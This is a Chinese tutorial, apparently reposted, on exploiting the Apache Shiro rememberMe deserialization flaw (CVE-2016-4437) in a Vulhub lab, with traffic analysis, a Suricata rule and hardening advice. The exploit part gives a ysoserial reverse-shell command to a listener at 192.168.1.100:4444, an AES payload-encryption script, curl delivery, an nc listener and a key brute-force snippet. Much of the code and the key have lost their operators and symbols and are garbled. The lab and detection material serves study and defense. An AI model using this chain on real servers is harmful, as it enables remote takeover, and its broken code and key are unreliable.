Shiro反序列化漏洞实战:从CVE-2016-4437复现到Wireshark流量分析(附靶场搭建)

news2026/3/26 21:03:04
Shiro反序列化漏洞深度实战从环境搭建到流量特征解析在安全研究领域Apache Shiro框架的反序列化漏洞一直是渗透测试中的经典案例。本文将带您从零开始构建完整的实验环境逐步拆解CVE-2016-4437漏洞的利用过程并通过网络流量分析揭示攻击特征。不同于简单的漏洞复现教程我们更关注实战中的技术细节和排错经验。1. 实验环境构建与漏洞原理搭建可靠的实验环境是漏洞研究的第一步。我们选择使用Vulhub作为基础环境它不仅预置了存在漏洞的Shiro 1.2.4版本还集成了完整的依赖组件。1.1 Vulhub环境配置首先确保系统已安装Docker和docker-compose# 检查Docker版本 docker --version # 检查docker-compose版本 docker-compose --version从Vulhub官方仓库获取Shiro漏洞环境git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 docker-compose up -d环境启动后访问http://your-ip:8080将看到Shiro的示例页面。这个环境已经配置了以下关键参数Shiro版本1.2.4默认AES密钥kPHbIxk5D2deZiIxcaaaA示例登录账号admin/vulhub注意实验结束后务必执行docker-compose down关闭环境避免不必要的安全风险。1.2 漏洞核心机制解析Shiro的记住我功能通过Cookie中的rememberMe字段实现其处理流程存在致命缺陷客户端设置rememberMe值服务端接收后执行Base64解码AES解密使用硬编码密钥反序列化操作漏洞的关键在于硬编码密钥默认AES密钥在代码中固定不变无签名验证解密后直接反序列化缺乏完整性校验Java原生反序列化直接调用ObjectInputStream这种设计使得攻击者一旦获取AES密钥就能构造恶意的序列化对象实现远程代码执行。2. 漏洞利用实战演练2.1 利用工具准备我们使用ysoserial工具生成恶意序列化数据配合Python脚本完成完整攻击链# 生成反弹shell的序列化payload java -jar ysoserial.jar CommonsBeanutils1 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.ser将生成的payload.ser通过以下Python脚本处理import sys import base64 import uuid from Crypto.Cipher import AES def encrypt(key, payload): BS AES.block_size pad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() iv uuid.uuid4().bytes cipher AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv cipher.encrypt(pad(payload))) if __name__ __main__: key kPHbIxk5D2deZiIxcaaaA with open(sys.argv[1], rb) as f: payload f.read() print(encrypt(key, payload).decode())执行脚本生成最终的rememberMe值python shiro_poc.py payload.ser rememberme.txt2.2 攻击执行与验证使用curl发送恶意Cookiecurl -H Cookie: rememberMe$(cat rememberme.txt) http://target:8080成功执行后将在监听端收到反弹shellnc -lvnp 4444攻击成功的关键指标响应中包含base64编码数据HTTP状态码异常非200/302服务器日志出现Java异常堆栈3. 网络流量深度分析3.1 Wireshark抓包配置为确保捕获完整攻击流量建议采用以下Wireshark过滤器tcp.port 8080 || tcp.port 4444关键捕获点设置捕获接口选择与Docker虚拟网络对应的接口缓冲大小建议设置为100MB以上捕获过滤器host target_ip3.2 攻击流量特征识别通过分析捕获的数据包我们可以提取以下关键特征流量方向特征描述风险等级请求包Cookie头包含超长rememberMe值高危请求包rememberMe值符合AES加密特征高危响应包包含异常base64数据段中危响应包Content-Type与正常响应不一致低危典型的攻击请求头示例GET / HTTP/1.1 Host: target:8080 Cookie: rememberMeAgAAABRjHhQrHhQrHhQrHhQrHhQrHhQr... User-Agent: curl/7.68.0 Accept: */*3.3 防御视角的流量监测基于流量特征可以构建以下Suricata检测规则alert http $HOME_NET any - $EXTERNAL_NET any ( msg:SHIRO - Possible CVE-2016-4437 Exploit Attempt; flow:to_server; http.cookie; content:rememberMe; depth:11; content:!user; distance:0; pcre:/rememberMe[A-Za-z0-9\/]{100,}/; classtype:web-application-attack; sid:1000001; rev:1; )4. 进阶利用与防御加固4.1 密钥爆破技术当目标系统使用非默认密钥时可以采用以下方法爆破收集常见密钥列表如Shiro官方示例密钥使用以下Python脚本测试密钥有效性def test_key(key, payload): try: decoded base64.b64decode(payload) iv decoded[:16] cipher AES.new(base64.b64decode(key), AES.MODE_CBC, iv) decrypted cipher.decrypt(decoded[16:]) return True except: return False4.2 企业级防护方案针对Shiro反序列化漏洞建议采用分层防御策略基础防护措施升级到Shiro 1.2.5及以上版本修改默认AES加密密钥禁用rememberMe功能如非必需增强防护方案部署RASP防护如OpenRASP实施序列化白名单控制启用JEP290过滤机制监测与响应部署WAF规则检测rememberMe异常日志监控Java反序列化异常建立应急响应流程5. 漏洞利用的变体与演进虽然CVE-2016-4437是最著名的Shiro反序列化漏洞但安全研究人员还发现了多个相关变体漏洞编号影响版本关键区别CVE-2019-124221.4.2Padding Oracle攻击CVE-2020-29571.5.2AES-GCM加密问题CVE-2020-119891.5.3权限绕过问题在实际渗透测试中这些漏洞往往需要组合利用。例如先通过CVE-2020-11989绕过认证再利用反序列化漏洞获取系统权限。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2436757.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…